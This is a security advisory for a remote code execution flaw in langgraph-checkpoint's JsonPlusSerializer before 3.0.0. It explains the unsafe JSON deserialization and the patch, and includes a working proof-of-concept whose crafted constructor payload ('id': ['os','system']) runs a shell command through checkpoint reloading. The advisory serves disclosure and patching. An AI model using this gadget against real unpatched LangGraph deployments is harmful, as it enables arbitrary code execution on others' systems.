| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| langgraph-checkpoint | pip | < 3.0.0 | 3.0.0 |
The vulnerability is a Remote Code Execution (RCE) within the JsonPlusSerializer class in langgraph-checkpoint. The root cause lies in the deserialization of custom Python objects from a JSON format. The _reviver method, used as a hook for json.loads, would dynamically import modules and execute functions specified in a crafted JSON payload (e.g., {"id": ["os", "system"], ...}). This allowed for arbitrary code execution.
The vulnerability could be triggered if an attacker could control data being checkpointed, and cause the serialization to fall back from the default msgpack format to the vulnerable json format (e.g., by including illegal Unicode surrogate characters in the data).
The public methods loads() and loads_typed() served as entry points to the vulnerable _reviver logic. The patch mitigates this by removing the loads() method, removing the automatic fallback to json serialization, and introducing a strict allow-list for modules that can be deserialized, which is empty by default. This prevents arbitrary modules from being imported and executed during deserialization.
JsonPlusSerializer._reviverlibs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
JsonPlusSerializer.loadslibs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
JsonPlusSerializer.loads_typedlibs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
JsonPlusSerializer"json"If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
return {"foo": "oops i fetched a surrogate \ud800"}
with SqliteSaver.from_conn_string("foo.db") as saver:
graph = (
StateGraph(State).
add_node("my_node", my_node).
add_edge("__start__", "my_node").
compile(checkpointer=saver)
)
attack = {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious_payload = {
"attack": attack,
}
thread_id = "00000000-0000-0000-0000-000000000001"
config = {"thread_id": thread_id}
# Malicious payload is saved in the first call
graph.invoke(malicious_payload, config=config)
# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)
Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.
Internally, this exploits the following code path:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer() # Used within the checkpointer
serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized) # Executes os.system(...)
The vulnerability is fixed in langgraph-checkpoint==3.0.0
Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.
Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.
Upgrade immediately to langgraph-checkpoint==3.0.0.
This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.
In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.
Ongoing coverage of React2Shell